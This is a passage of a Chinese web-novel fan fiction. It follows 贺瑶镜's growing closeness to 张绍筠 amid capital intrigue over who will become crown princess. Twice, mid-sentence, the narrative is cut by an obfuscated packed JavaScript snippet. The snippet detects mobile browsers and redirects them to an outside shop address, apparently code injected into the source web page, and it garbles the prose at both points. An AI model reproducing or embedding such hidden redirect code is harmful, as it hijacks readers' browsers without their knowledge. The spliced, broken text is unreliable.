张陆正怔了一下,似是没想到自己没开口的话已被张绍筠抢了先,也未想到他此次这般听话,顿了半晌,最后轻轻“哼”了一声,转过身去,一副恨铁不成钢的样子。贺将军转头看向瑶镜,一脸无奈,瑶镜看看一脸心虚的张绍筠,又看看沉默下来的两家长辈,终于没有忍住,抿着唇低低笑了起来。 9. 关山月(三) 瑶镜和母亲随着张家的车队一同回了京城。途中崇山峻岭,马车却极稳当,甚至没有半份颠簸,她倒是时常能见到张绍筠,可蜀道艰险,他又需随着他父亲一起,两人竟没有机缘说上一句话。一路无话,终于在一月之后抵达了京城。 瑶镜的兄长贺重明亲自前来迎她和母亲。他面色平静,面对两人时淡然至极,好似全然没有因此事怪罪瑶镜的擅作主张,但当入夜之后,他孤身一人在后院找到瑶镜,言道有事要与她讲时,瑶镜便知风雨欲来。她心中有鬼,又知晓自家兄长的秉性,知道此次定然免不了一顿责备,于是上前一步,垂下头来,一副准备听训的模样。 “你倒是乖觉。”贺重明见状,气不打一处来,他将手中的书册掷到桌上,发出沉重的声响,满脸紧张的瑶镜不由被吓得一激灵,“早知如此,何必当初?当着母亲的面我不好说你,可你便以为你没错吗?救助旁人是没错,可要在确保自身安全的境况之下方可出手相助!身处险境,非但不养精蓄锐,反倒锋芒毕露,若非爹爹,你岂能如此安然无恙地抽身?你知道我接到消息时作何反应?我险些以为你疯了!” 瑶镜被他骂的一愣一愣。扯了扯嘴角,垂下头去,手轻轻拉了拉贺重明的衣袖,二话不说乖乖认错:“这次是我没有考量清楚,我以后会加倍小心的,哥哥不要生气啦。” 她其实知道他为何生气,她也能猜到当她在剑南失踪,杳无音讯之时,兄长该有多心急。他如今虽说态度不佳,却是因为真心关怀于她,才会如此关心在意,因此在道歉认错时,语气中不自觉便带了些娇软,此等承诺所代表的郑重之意反倒消退了不少。 贺重明冷哼了声:“知道就好!希望你真能记得清楚!”脸上虽还带着些怨怪,神色却缓和了不少,拉着瑶镜坐了下来。瑶镜不明所以,却见贺重明盯着她,微眯着眼睛,一副审视的模样:“还有件事我要问你,你和那位刑部尚书家的公子回京之后,还曾有过其他联系吗?” “没有呀。”瑶镜不明所以,抬首问道,“是出什么事了吗?” “今天有人来府上送了这个。”贺重明说着,自书中翻出一封拜帖向她递来,示意她打开看看,“说是张家的女公子想约你后日去赏花。” “张家?哪个张家?”瑶镜蹙着眉,心底略有些不解。她不喜迎来送往,更是对官家小姐间的暗潮涌动、弯弯绕绕毫无兴趣,故而在京城除了几位至交好友之外,鲜少赴其他女子的聚会,而许元英她们也并非喜好结识他人之人,这些年来她拜帖收的少,能让她决心前去的拜帖就更少了。 接触到贺重明丝毫不似玩笑的认真目光,她猛然反应过来:“是刑部尚书家的女公子?” “不错。”贺重明颔首,“我听娘说了你在罗摩的事,所以才有方才那一问。你要去吗?你若不去,我便帮你推了。” 瑶镜沉默半晌。经贺重明一说,她心底大致有了些猜测,想必是张绍筠回府之后,与他姐姐讲了此事,从而令其下了帖子,约她一起出游。她本有些犹豫,可拒绝的话刚要出口,她的眼前忽然闪过在京城分别之前,张绍筠骑在马上,冲着她遥遥挥手,扬声道:“贺姑娘,再会!” 他的头发梳的整齐,高高的发冠在阳光的照耀下微微反光,亮得灼目。那时瑶镜掀帘望他,只觉自己本来沉静如水的心忽然泛起涟漪,好似亦被他所感染,从身到心都不由欢快起来。 “我去吧。”她想了又想,终于轻声开口,“张姑娘温婉大方,善解人意,在京城可是素有佳名,她给我递了帖子,我哪有不去之理呢?” 瑶镜在那场赏花宴上见到了声名远扬的张念之。她过去的确听过数次她的名字,据说张陆正家的两位女公子,姐姐温柔绰约,妹妹灵动可人,虽于学识上并不专精博通,却自有高洁之气。 张念之甫一见她,便极为亲切地拉住她的手,面带微笑地寒暄:“妹妹就是绍筠提起的那位女公子吧?当真纯真温雅,贞静良善,我总觉得妹妹眉眼间有些熟悉,像是在何处见过呢。” 她穿着身鹅黄的衫子,雀蓝色的百迭裙,戴着装饰了百蝶穿花的冠子,如空谷幽兰般温柔,瑶镜不知不觉感到莫名的亲切。她不提她与张绍筠并肩作战之义,也不讲他们先前曾一同惊叹的深厚缘分,可瑶镜便是知晓眼前的女子定然是将往事始末知道了个大概,并且感念如此,真心想与她结交。 她脸上带着柔和的笑容,同张念之攀谈起来,还结识了她的妹妹张颂之。颂之与她年纪相仿,却极少走出京城,对天下河山的了解仅限于书案上行记话本中天马行空的记录,以及自己过去无数次奇妙的想象,知晓她自小走南闯北,顿时惊喜异常,拉着她一迭声央求她多讲些四海见闻。 瑶镜也不吝啬如此,拉着她们坐下来,绘声绘色与他们讲起嘉荫关的苍茫大雪,还有长安故城的古寺与残城。张颂之听得认真,连视线都不知不觉发直,张念之亦凝神细听,时不时还带着些笑,无奈望着面露向往的妹妹。 虽然瑶镜是武将家的女儿,与京城官场向来无所交集,可她们三人却极为投缘。张家的两姐妹虽为朝中重臣之女,却并无刻意的架子,更没有轻视或是好奇,瑶镜又是个颇为自来熟的人,日薄西山之时,她已亲切地喊起了“念之姐姐”和“颂之”。瑶镜就这样沉浸在心旷神怡的安然之中,直至远处,入暮的鼓声沉沉传了来。 她说得正欢,闻声猛地回过头去,发髻上簪着的步摇随着她的转身而晃动起来,流苏碰撞发出极好听的声音。 她的目光与一席青灰色圆领长袍的张绍筠碰了个正着。瑶镜这才发现他一直站在不远处的地方,正微笑着看向她们这边。方才三个女子的嬉闹不知他看了多久,而他的眼底眉间,尽是影影绰绰的温柔,还有温和而喜悦的笑意。 后来张念之总是约瑶镜出门小聚。时而是同赴赏花宴,时而是上茶楼饮茶,时而又是约着一同去古寺进香。瑶镜喜欢与她的相处,也极少拒绝,一来二去,与张家的几个年岁相仿的同辈人已然极为熟悉。 瑶镜也时常能见到张绍筠,他似乎总是知晓自家姐姐与她的约定地点在何处,也总是能在此与她偶遇,只是每回他刻意的交谈,似乎总会走向弄巧成拙的境地。 赏花宴上他凑到她身边,很是自豪地向她介绍起花圃中的花朵,殊不知从第二种花开始便已尽数认错,茶楼之上他装模作样,言道自己对点茶很是了解,谁料点出来的茶汤成色极差,而在城中的大相国寺之内,他摇着折扇,满脸炫耀地同瑶镜讲起这座古寺的青史沿革:“相传汴河水深流急,早年无桥,过往不便,后打铸两条铁链系于两岸木桩,以利行人渡船,后经年累月,铁链变成两条绿龙,为害百姓,被张天师擒获。于是在寺院正门前修起照壁,聊作山门,把二龙牢牢地嵌在中间。” 他说得眉飞色舞,瑶镜却有些哭笑不得,轻咳一声,十分尴尬:“这是真定龙藏寺天王殿的传闻,那条河也并非汴河,而是真定城外的滹沱河。” “呀……” 张念之扯着嘴角,带着笑没有言语,张颂之却毫无顾忌,嘲笑兄长方才的尴尬。面对三人不约而同,却意思各异的意味深长的笑容,张绍筠挠了挠头,亦是十分尴尬:“瑶镜你知道啊……那是我孤陋寡闻了,我不知在何处听到这个传说,还以为与大相国寺有关呢……” 瑶镜一下笑出声来。 她看着难得有些不好意思的张绍筠,轻轻抬起手来,拂落不知何时落到发间的一片落叶。 随着与张念之一起赴过许多官家小姐的赏花观鱼的小聚,瑶镜逐渐发现,张绍筠这个名字为何极少被旁人提起,更是从没有传入过她的耳中——事实上,他的名声并不算好。 他虽然在国子监进学,但成绩极差,几次岁考都极不理想,且还从不刻苦,不爱读书,每每令教书的先生大儒摇头叹气,张陆正为此叱骂过他数次,他却依旧我行我素,不甚在意。除此之外,他还言语无状,仗着自己家世优渥随意言语,口无禁忌,数次因此得罪旁人。 瑶镜得知此事后心中一直有些乱,甚至有些自欺欺人的不愿相信,她如此纠结许久,后来将此事告知元英时,依旧有些迷蒙难掩:“阿英,他在我面前,并不是这样的。” 许元英坐在她身边,一针见血:“但你听了这些,似乎不厌恶。” 瑶镜沉默良久,方才长长呼了口气,喃喃念了一句:“至少他对我,不是这样的。” 至少他无论在罗摩,在京城,还是后来借着姐姐的拜帖与她相处,他虽跳脱,却从未失言,还很是尊重她。所以她相信张绍筠虽纨绔,但总不是不值得交往的人。 “那就没有任何问题。”许元英点了点头,右手轻轻按在了她的肩上,仿佛于无形之中给她以安慰信心。 “无论是他在外的纨绔,还是在你面前的亲近与尊重,其实都是他。既然他对你并非如此,那便证明他并非如世人所言那般顽劣不堪,你又何必在意旁人评价呢?” 瑶镜望着身前小巧精致的香炉中冉冉升起的青烟,若有所思。 与张绍筠熟悉之后,瑶镜逐渐发现他绝非世人所想那般。或许他有这样纨绔的一面,但他虽表面不羁,实则却是一个心地善良的人,从不会主动害人,更不会刻意招惹旁人。 他虽是文武不就,但在锦绣繁华的京城市坊之中他却如老手一般驾轻就熟。他为人迟钝,甚至有时听不出旁人言语是赞叹还是嘲讽,可他却极懂如何哄她开心。他虽然不通文墨,却是颇为憨厚可爱,甚至有时还会说出一些令人捧腹的笑话,当着瑶镜的面甚至还能闹出误会,每每令瑶镜忍不住笑出声来。 他与她讲起京城的趣事,从达官贵人的家族秘辛到京城中不为人知角落中似是而非的传闻,无一不涉。他会带她去各种有趣的地方,从深巷之中的小小铺面到一席难求的茶馆,他都带她一起走过,甚至提及此处有何好茶值得特意停驻时,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073513|149393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也信手拈来,两三句话便能说到很远。 瑶镜对此颇为讶异。她望着神采飞扬,眉飞色舞的张绍筠,低声喃喃:“之前我在京城之中,怎么从未听过这些事……” “不是吧?”张绍筠挑了挑眉,似是真的很吃惊。随后,晶亮的眸中却现出戏谑,“瑶镜,我总觉得你过去生活的京城,可能是一个假的汴京吧?” 瑶镜一愣,下意识问道:“什么?” 接着她便见眼前的少年唇边扬起大大的笑容,向她招招手,有些狡黠地眨眼:“既然如此,那我就带着你看看,我眼中、我所认为的锦绣京城,究竟是何模样!” 张绍筠带着她去了很多地方。从京城名声不显,做工却极其精致的首饰铺子到隐于小巷深处的字画店。写得一手好字的掌柜当着他们的面为一副《九九寒梅消寒图》落下一笔。还有城北一家名不见经传的书市,店面虽小,店内却暗藏玄机,瑶镜在其中看到许多素日难见的孤本残章。每每她离开前总能见张绍筠神神秘秘,而走出好远后才窥得真相。他把手中掩藏的东西向她递来,有时是她在书架前盘桓许久的珍本古籍,有时是她多看了两眼的发饰,甚至还有她情有独钟的小糕点。 她不知不觉便习惯了他的陪伴,也习惯了先接他的帖子,见到面后再问他今日要去何处。母亲知晓此事后问过几次,都被瑶镜搪塞过去,她自幼便心中自有主意,贺夫人又不常在京中,已无法轻言干涉她的决定,只是拉着她的手,一遍遍叮嘱。 瑶镜实则没有注意到这些,她只是欣喜于张绍筠的善解人意,又感怀自己与他在一起时,能抛掉一切的舒心明意。直至连贺重明有次也锁着眉问她:“阿镜,你和张家那小子,走的是不是太近了些?” 瑶镜一愣。 她其实很早就意识到两人关系的不寻常,虽然她和张念之、张颂之的关系都极为亲近,但每次应她们的邀出门游玩,最后陪着她的总是张绍筠。 他总是以真诚和善良待人,虽说为人总带些不合时宜的傲慢,但他感到温暖和安心。张绍筠虽自诩极善风月,却对女儿家的东西不甚了解,只隐约能看出些衣料与纹样的区别,但他却总是古道热肠。他会陪着瑶镜一起去官宦人家常在此制衣的布庄,还会清晨起来,在瑶镜不知道的时候为她买到城东最先出炉的玫瑰糕。 他虽然为人憨厚,不谙世事倾轧,但其实为人并不差。他虽然时常出言伤人,但对自己却总是温和而小心翼翼,虽然能极其放松地与她说起近来的闲适趣事,却从未在她面前出言不逊过。而且他虽斗酒纵马,却很是守礼,每次想见她时,他都会主动往府上递拜帖,就算彼此熟悉之后不必再走最正式的流程,但他也次次都借了关系更近,又同为官家小姐的姐姐张念之的名字,从未让她因为这些可能出差错的细节而被旁人嚼舌根。 她低着头沉默了一会儿,抬眼道:“至少在他身边,我会觉得很安心。所以兄长……我并不抗拒他的亲近。” 她语声低微,甚至微弱得难以听清,贺重明却不由愣了一下。 自小到大,瑶镜只有在很正式的情况之下才会唤他兄长,而如此唤他时,要么是她在非常郑重地请求他的应允,要么便是她做了很重要的决定,以此希望得到他的尊重与支持。 他是个极为开明的人,见瑶镜少有的正式,好似心中早已有数,满腹的担忧与劝诫也再说不出口。 “这是你的选择,若你并不抗拒,我亦不会阻拦。”他没有多说,言至此处,却是顿了一下,“只是咱们家世代习武,向来以守护家国为祖训,朝堂之上的弯弯绕绕我们无力去管,更是尽全力置身事外。阿镜,哥哥虽然不了解张尚书此人,但曾听过些旁人对其的评价,此人心中野心不小,或许日后官职绝不止于此,而我日后也会离开京城前去不知何处的边关驻守,届时你若留在京城,或许会直面许多倾轧风雨——与张家的公子在一起,你会很累。” “哥哥,我如今并未……并未与他在一起。”他这话说得认真,尽是关心与爱护,却已是将他们两人当作互通心意来看待,瑶镜不由一时语塞,讷讷不能言,“只是……我很喜欢让他陪着我。况且我们之间或许当真有机缘联结,当初我们一起逃出罗摩,而且还都是京城中人,后来我与念之姐姐和颂之又这般投缘,或许当真是缘分使然,才令我们有如此密切的联系。” 她长舒一口气,将最后一句话说出口来:“我只是想将这缘分维系下去。” 贺重明并未言语,而只是沉默地看着她。瑶镜垂着头,不知他如今是何神情,亦不知自己方才说的那番话语究竟能否得到自己想要的答案。她就这样呆呆地盯着贺重明今日身上盘领广袖袍的下摆与那双做工精致的黑靴,直至她眼前的茶盏被人续了一杯热茶,这动作让她下意识抬起头来,身旁男子那声长长的叹息传入她的耳中。 “好,我不会干涉你,但切记,保护自身。只有保住自己,才有资格相谈以后。” 10. 关山月(四) 这样平静的生活一直持续到冬末春初的春闱。 瑶镜对春闱本不太关注,只是张绍筠也参加今年的科考,故而城中寺院香火繁盛的这几日她也在为他许愿,望他一举高中,这样张尚书也可放心些。可后来贺重明为她带来消息,说今年春闱出了岔子,有考生夹带试题,被拘在了刑部,等待真相水落石出后再行处置。 瑶镜闻言,终究还是有些担心,她本想给张念之去信,询问一下张绍筠的情况,谁料隔日便见张绍筠急火火约她去两人常去的茶楼,她如约前往,见到他的第一眼就担忧地问他可否受到夹带之事的牵连。 “我哪会受什么牵连?我是何水平,难道还有人不知么,又哪里有什么夹带的必要?”张绍筠摆摆手,十分不以为意,“若当真鱼跃龙门,那怕是所有人才会大吃一惊呢。” 瑶镜扯着嘴角十分无奈,最后却也没有接他的话。却见张绍筠坐得离她近了些,又唤了她一声:“瑶镜。” 她有些诧异地望向他,有几分不解地问道:“怎么了?可是想到了什么?” “无甚。”逆光看去,他仿佛瞬间想到什么开心之事,瞬间开怀起来,“我姐姐可能要当太子妃了。” 瑶镜没想到他会忽然说到这个,一时愣了一下。 念之姐姐端庄温婉,出身亦是不低,确实是太子妃的最佳人选。可……忆及前几日她曾听到的传闻,她忍不住开口问道:“先前不是说……是陆御史家的女公子?” 张绍筠看她一眼,微笑着摇了摇头,答非所问:“我昨夜去了趟刑部,去看望了顾兄和陆兄。” 瑶镜知道他说的是长州都督顾思林的幼子顾逢恩和御史中丞陆英的长子陆文普,前者在京中委实太过出名,那可是文成武就,未来要入仕为官的鲜衣怒马少年郎,全京城几乎无人不知,无人不晓,后者她也曾在张绍筠口中听过几次。他嫌弃陆文普是个白身,对他总是不屑一顾,却又不会做的太过火,总是说什么“毕竟都是国子监的同道,我虽不喜陆兄家世傲骨,但陆兄胸中自有天地,日后必能一路连科”之类的话。于是她也不问什么,只将手炉捂得紧了些,静静听着他说。 “瑶镜你是不知道,那顾兄出身高贵,哪里受过这样的罪?还有那陆兄,平日才华横溢,谁知也会买题鬻题?”张绍筠冷哼一声,似有些不屑,“我想着去关照关照他们,谁料陆兄竟当真做出此种事情,爹爹先前曾与我说,卢尚书召回陆御史便是为了太子选妃一事,而若陆御史家的女公子业已无望,那太子妃人选当仁不让,会落到姐姐的身上。” 这些已属于朝堂秘辛,贺家为将数年,能在风雨飘摇的朝堂之中站稳脚跟,靠的就是从不参与朝局,这些往来深意瑶镜是不懂的,更是从未得知。听到这番话,她忍不住怔了一下,未曾回神。 “但我在牢里遇到一个胆大包天的太学生。”张绍筠此刻却并未注意到她的失神,只是继续回忆着那夜的事,“我本只是想笑话陆兄和顾兄几句——谁料他们二人都还没说什么,这太学生居然敢出言反驳!” “砰”的一声响,贺瑶镜被惊得一激灵,终于回过神来。她抬目望去,张绍筠重重拍了一下桌子,神情愤懑。 “他、他还说我姐!”张绍筠的怒气逐渐升温,忆及当时情状,逐渐气得脸都发红,“真是气煞我也!连爹爹都没说过姐姐半句,我那么护着的姐姐,哪里能任由他出言不逊?若非杜公拦着,我非要让他好看!” 瑶镜低低咳了一下,笑出声来。她知道张绍筠对姐姐的爱重,张陆正的夫人已逝去数年,他自己对几个孩子的养育又不能事事上心,张绍筠曾与她说过,他基本都是由张念之带大的,自然极为亲近这个姐姐。只是……那个太学生又为何要提及念之姐姐? 她环顾四周。今日是个大晴天,阳光洒下来,照在她的身上,也将旁边的少年映上了一层淡淡的金色。 张绍筠似乎依然未曾对那夜的事完全释怀,仍在那里喃喃念着什么,甚是愤愤不平。瑶镜在一旁劝也不是,不劝也不是,最终也不知道该如何开口,只得带着些笑意无奈地摇了摇头。 她其实是知道的,张绍筠说的“探望”肯定不止是探望这么简单,他肯定在刑部牢里说了什么委实过分的话,否则那太学生与陆家和顾家的公子无亲无故,何须冒着得罪刑部尚书公子的风险出言反驳? “你没有说什么出格的话吧?”她问道,“不论如何,陆御史毕竟是令尊的同门,陆公子也是你同窗,至于嘉义伯……他背后站着陛下和武德侯,哪尊大佛你惹得起?日后无论在朝在野,总要再见的,你若闹得过火,日后面上都不好看。” “当然没有!” 张绍筠回答得颇为一本正经,“我们瑶镜最懂我了,我哪里是不知晓分寸的人?” 瑶镜扯扯嘴角,满脸不信。 “不过,我见到陆兄的妹妹了,那真是个有胆识的姑娘,孤身闯刑部大狱,还不顾我们的身份,出言替她兄长辩解。当真是翩翩佳人,只是不知那帷帽之下,又是——” 见瑶镜瞬间直起身来,横眉冷对,怒目而视,张绍筠忙举手强调:“我没再碰她,当然也没再出言不逊!” “但愿如此。”他情急中的那个“再”字一出,瑶镜便知他当时定然撩拨过那位姑娘,只是未曾越界,更是极有可能没得到好脸色,这才至此作罢。她瞥他一眼,不置可否,提起茶壶为自己满上一杯,又拿了一个新茶盏,满上一杯之后向对面递了过去,“不提这些了,我以茶代酒敬你一杯,希望这次春闱,你能一切顺利。” “世上哪有这般顺风顺水的事呢?出身富贵的公子向来不精于学业,却在科考中拔得头筹,追随其父之路,入仕为官,为万世开太平?这是话本中才有的故事。”张绍筠自嘲一笑,却没有拒绝瑶镜的好意,自她手中接过另一盏茶,一饮而尽后摇摇头,好似对此次科考不以为意,“我考这次春闱,本就是考给爹爹看的,也没指望真能借此平步青云。我并非从仕的料,更没想过考什么功名。” 他闭上眼,悠悠道:“我呀,只想爹爹仕途顺利,姐姐能有个极好的归宿,阿颂……就让她这样无忧无虑的吧。我们都想多留她几年,她的夫婿至少要她自己喜欢,我们才能安心让她出嫁。如此这般,我就可以借着家中威势在京城快活自在地过日子,也就可以——” 他忽然顿了一下。瑶镜听得正认真,闻言不由抬眼望他,问道:“怎么了?” “没,没什么。”张绍筠支支吾吾。 瑶镜不解,坐正了身,认真地又问了一遍:“到底怎么了?” 视线所及之处,张绍筠似是动了动嘴唇,声音低微,只发出几声短暂的嗡鸣。他眨着眼,亦垂着头,话音未落,也没再看瑶镜,握紧手中的折扇,草草道了句“我先回去了”,便径直转身,逃也似的离开。 瑶镜却一直保持着方才的姿势,半分都未曾动过,仿佛整个人已与寂静的茶楼融为一体。直至张绍筠已离开很久,她这才缓缓抬起眼来,定定看着他离开的方向,神情带着些微迷茫。 方才张绍筠第二次重复的时候,她其实听到了。那声音极小极低,凝神竖耳之时便已微不可闻,可瑶镜不知为何,偏能听得清楚,就像她心底隐隐明白,张绍筠方才说这句话时,声音中带着隐隐约约的情意,和近不可察的期盼: “这样,我就可以天天见到你了。” 她垂下眼去,先前强装的自然神色立即土崩瓦解,取而代之的却是从双颊到整张面庞渐渐泛起的潮红之色,好似她身上所穿的衣裙明明很厚,却硬生生被这汴京城冬日里刺骨的寒风冻得脸颊通红。 翌年开春的时候瑶镜回了趟嘉荫关,回京之后已是初夏,朝中有关太子妃人选的明争暗斗终于告一段落,卢尚书死谏,陆家险些被论罪,虽然幸运地脱了罪,却已元气大伤,那位原本最有可能成为太子妃的陆家女公子也至此销声匿迹,据贺重明信中所言是远赴长州。瑶镜身处蜀中,对朝堂之上的风云迭起并无感觉,只是读最新邸报时,才能窥得一二前段时日的云诡波谲,风起风息。 待她抵达京城之时,圣旨已下,张念之是名正言顺的太子正妃人选。 起初听闻此事时她只觉意外,可张绍筠却异常欢喜。隔天他们约在楼饮茶,甫一见面,他便抓住她的衣袖,异常惊喜地念念叨叨:“瑶镜,我真的很开心——真的特别开心。你知道吗,姐姐她……是喜欢殿下的,她一直都很喜欢殿下。” “我知道。”她点点头,“嗯”了一声,安慰似的对他笑笑,随机却又想到什么,促狭道,“念之姐姐虽是你姐姐,但只怕你知道此事还要比我更晚。女子之间最为了解彼此,我初见她那天,见她谈及殿下的神情,我便知她怕是心悦殿下。” “这你就错了,我一早便知道。我十五岁那年见她在房间里绣帕子,那分明是殿下上次在中秋宴上出言赞赏的那一品金星雪浪,我那时就隐约猜到了姐姐的心思。”对面张绍筠笑得开怀,意味深长,“只是确实,当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她立时便想先翻看结局,谁料还没翻几页,她便忽然意识到不对:张绍筠向来不爱读书,就连国子监中的功课也都学得磕磕绊绊,让他去一次书市是极难的,更别提特意买些书回来。此次,想必是他特意去了一趟城南的书市,这才能第一时间为她买到——绝非什么“偶然”。 一时间,心底有种丝丝缕缕的,连瑶镜自己都看不明确的窃喜涌动。 她犹自发着呆,却听一旁的张绍筠凑近过来,好奇问她:“其实我一直很是奇怪,你们女儿家怎么总喜欢看这些风月柔情的话本子?姐姐不喜欢读这些,但我上次去阿颂房中,她却也读得津津有味,甚至都没注意到我来了,待我问她这本子具体讲了些什么,她却也不同我说,只说是些才子佳人的风月事。” 他话中还带着笑意,显然是一句玩笑话,可问话的语气却偏是一本正经。瑶镜心底还燃着未散的暖意,可嘴上却不肯相让,反唇相讥:“闺中所读戏文何止于此?我还喜欢看白龙鱼服这样的话本呢!公子当年在罗摩对我,其实不也是如此么?” 她的确很喜欢读《游龙戏凤》这样的本子,可富贵之人微服私访,而后身处险境之事若在戏文中方可惊叹沉浸,可若亲身经历,那委实不是什么令人心满意足的回忆,然而这样确实发生过的往事却又因两人于婚房之中相识而尤为难忘。张绍筠涨红了脸,连茶都不喝了,支支吾吾地解释道:“我、我那是以此博佳人一笑!不对,瑶镜,你当初也隐瞒了身份,你我两相扯平!” “你想学烽火戏诸侯是么?这可不是什么好榜样。”瑶镜扶额,随即又转头看向张绍筠,眼底无奈之意尽显。果然能让他以这种调侃的语气说出来的,绝对不会是什么正经话。张绍筠顿时站起身来,连连摆手,聊作解释。 二人犹自笑闹着,瑶镜似乎也于其中一扫前几日的压抑与纠结,似乎所有的难过与思量都已随之逐渐远去,再不复回。 她长叹口气,闭上了眼,心中却是思绪万千。 她虽自认是京城人士,却极少在心中认同京城贵眷的习性与做派。她不喜欢与人绕圈子,也不喜欢进行无畏的交际,与张绍筠结识只是因为他的天真心性,过去她曾以为京城官员家中的公子定然是出身矜贵,言语傲慢之人,没想到还能交到如此简单的好友。与他在一起时她不用留心在意,也无需小心翼翼,可以自由自在,可以在他面前做最为本真的贺瑶镜。 她曾想过,日后年纪再大些,兄长也远赴边关任职,她便离开京城,学许元英一样游历四方,谁料如今她已为张绍筠而留恋这锦绣帝都。转瞬两年有余的时间,命运起起落落,兜了偌大的一个圈子,最终还是走到了宿命的彼方。 11. 关山月(五) 很快瑶镜便知晓,张绍筠曾对她保证过的“不会在姐姐婚事上出岔子”,大概只是一句虚言。 她心底无奈,可她毕竟不曾参与太子大婚,全然不知晓细节,只能听着一旁张绍筠犹自说着什么,念念叨叨的全然没了那个令人忌惮三分的衙内样子。他拉着她的衣袖,有些畏惧,却又有些难过,更多的却是不知未来如何的茫然与担忧。 “瑶镜啊,”方才提及姐姐还眉开眼笑的张绍筠在唤出这一声后却难得有些黯然,瑶镜疑惑地望向他,却见他微叹口气,微微垂下头去,现出极少会出现在他面上的悔意,“还记得当年春闱出事后,我在刑部对其出言不逊的那位太学生么?他居然是太子殿下,可笑如我,居然在姐姐大婚当日,这才发现这一事实。” “怎么办啊?”他垂下眼去,眼底真切现出了几分畏惧之色,“他会不会迁怒姐姐?我会不会连累姐姐?我真是……当初何必逞那口舌之快?何必与他针锋相对?我先在刑部大狱得罪了他,后在放榜当天为难他,再满京城寻他想要给他颜色看,还在陆家险些蒙难时误认为他亦是前来追凶之人而出言不逊……若按以下犯上算,桩桩件件,我已然身犯重罪。姐姐那般爱慕殿下,那般期待这场婚事,若真因此事累及姐姐,我就是万死,也难辞其咎……他杀也好,剐也罢,我只希望集于我一人之身,切莫连累姐姐。” 他越想越害怕,越说越离谱,甚至直言生死,瑶镜听得不由连连摇头,不愿他再自轻,立时止住他的话,无奈安慰:“你大婚当日,不是已在殿下面前请过罪了吗?他那时没有怪罪于你,那就说明他并未在意此事,念之姐姐不会有事的,你也不会有什么事的。” “那不行,”张绍筠一脸认真,抬起眼来,“万一他还是记恨呢?姐姐刚入东宫,正是世人瞩目之时,此时更不该行差踏错一步。瑶镜,我以后要加倍注意才行。” 他平日与她言语都是玩笑话居多,少见如此认真,瑶镜心知肚明,他真的很害怕因此伤害姐姐,也是真的担心亲人受到惩处。可与张绍筠不同,她反倒对这一切极为乐观,太子殿下受卢尚书教导,为人向来和善,恪守礼教风度,若非涉及原则,绝不随意出手惩处。大婚当日未理张绍筠的请罪或许还能说是不愿因此事搅和了自己的大婚,可事情已过去这么久,他还没有动作,那便确实是不甚在意了。 虽然如此,她却并未将心底的猜测说出口来,只是点了点头。张绍筠为人向来挥霍无度,跌宕不羁,言语之间多有无状。他自己倒不在意,可是祸从口出,若能以此事为契机让他将这个坏习惯改上一改,那也是极好的。 可如果瑶镜知道张绍筠所言的“加倍在意”,实则是加倍前去东宫,那她绝不会如此放心。 后来她听说张绍筠在东宫闹了不少笑话,先是不慎将姐姐的绣样扯坏,再是在殿下考校他功课时支支吾吾一问三不知,令太子无奈,太子妃扶额,还不知为何,同太子妃殿里的女官来往密切。张念之自然一笑而过,而那位太子殿下虽不喜如此,却也极少让妻舅难堪,只要闹得不过,对张绍筠在东宫的风月传闻向来是不置一词,在他遇到难处时反倒还会不时出手帮衬一二。 “无论如何,你还是收敛着点。”再见张绍筠时她忍不住出言相劝,“殿下如此,摆明了是在关照你,你莫要让他难堪。” 张绍筠摆摆手,一脸的不以为意:“我没有让姐夫面上不好看,我已经很注意了。”话至此处,他眉心微微一动,若有所思地垂下眼:“不过瑶镜,我总觉得姐姐身边的顾内人有些熟悉,好像先前在何处见过。” 见他仍不在意她的担忧,瑶镜也无可奈何,只得叹了口气,不再提及这个话题,随即却又被张绍筠的喃喃自语吸引了注意。 顾内人的事她先前已听元英提起过,后者与她说起这事时一脸的促狭,好似在等着她发怒或是吃醋,可瑶镜心底却平静得很。她虽知晓张绍筠在外常常游戏人间,可他却极少主动沾花惹草,就算偶尔与其他女子交往频繁,却都是事出有因,也一直守着富贵公子应有的礼数,从未越界。她本想找时间向他问问此事,却不料张绍筠自己先来向她解释。 “或许自何处见过呢?”她提醒道,“念之姐姐手下的女官也并非寻常出身,或许你先前在谁家宴席上见过,只是一时想不起来。” “或许如此吧……”张绍筠扶着额,喃喃道,“可我总觉得我见过的不是她的脸,她的容貌我是陌生的,我熟悉的是她的身形,我好像在何处见过一个身形近似的女子。” 起初瑶镜还有些在意这位顾内人,想着能让张绍筠觉得熟悉的女子究竟是何模样,可后来有次她去赴太子妃的斗花宴,在席间见到了那位女史。她容貌不出众,低眉顺眼站在一旁,不时低声与张念之说些什么。瑶镜遥遥看着,总觉得她身上有一股难言的坚韧,好似天塌地陷也无法折损她的脊梁。虽说如此,可她却并不觉顾瑟瑟熟悉,甚至能感觉到她尽力让自己变得泯然众人,不被旁人关注。 她有心留意,想着她若真是张绍筠的故人,日后若当真能帮衬一二也好。后来张绍筠亦同她说过自己与这位顾内人的交集,他问起她家在何处,可有亲眷在京中,她却都支吾不言,只说家道中落,蒙难来此。他豪气干云,只想着帮佳人排忧解难,可顾瑟瑟此后便像是躲着他一般,他们再未见过一次。 瑶镜觉得有些奇怪,想着不如日后尽可能帮上些忙。张绍筠很少对何事如此上心,谁料不久之后就发生了更大的事,她慌乱无措,全部注意都集中在此事身上,再无暇顾及其他。待这位有些古怪的女官再次在她脑海中勾勒起完整轮廓时,已是天翻地覆,一切都已成定局。那时瑶镜才隐隐明白她身上那股坚韧是从何而来,而她做这一切,又究竟是为了什么。 